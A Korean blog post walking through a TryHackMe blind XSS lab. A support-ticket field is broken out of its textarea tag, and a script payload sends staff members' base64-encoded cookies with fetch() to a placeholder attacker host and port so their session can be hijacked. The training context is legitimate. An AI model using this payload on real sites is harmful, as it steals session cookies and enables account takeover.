[TryHackMe] Cross-site Scripting Lab

코준·2025년 6월 11일

TryHackMe

목록 보기
16/32

한 시나리오를 통해서 Blind XSS 취약점을 알아보자.

유저 test의 email로 test@test.com을 만들고 로그인했다.

support ticket 탭에서 제목과 내용을 test로 생성해보자.

새로운 티켓이 생성되고 id와 제목, 내용, 일시가 적혀있다.

내용이 <textarea> 태그에 나오고 있다.

새 티켓을 생성할 때 textarea 태그를 닫고 alert를 띄워보자.

id 9번을 누르자 alert가 성공적으로 떴다.
그러면 이제 id와 제목, 내용을 가진 티켓을 확인했고 이 내용은 직원이 열람할 것으로 예상되므로 직원의 쿠키를 훔쳐 세션을 가져와보자.

리스닝 중인 포트를 열어서 쿠키를 훔쳐 포트에 출력되도록 해보자.

</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>

  • textarea 태그를 닫는다.
  • script 태그로 페이로드를 실행하도록 한다.
  • fetch()함수로 HTTP 리퀘스트를 보낸다.
  • 주소는 공격자가 제어하는 웹사이트나 공격자가 열어놓은 IP 포트를 지정한다.
  • cookie를 탈취하기 위해서 ?cookie=로 쿠키를 가져오고 btoa()로 인코딩한다.

수 초 혹은 수 분 후 쿠키가 도착할 것이다.

GET으로 리퀘스트가 온 것을 가져왔는데 cookie가 존재한다.
이제 base64로 디코딩하면 된다.

session을 훔칠 수 있는 값이 생겼다.

profile
Hi !

0개의 댓글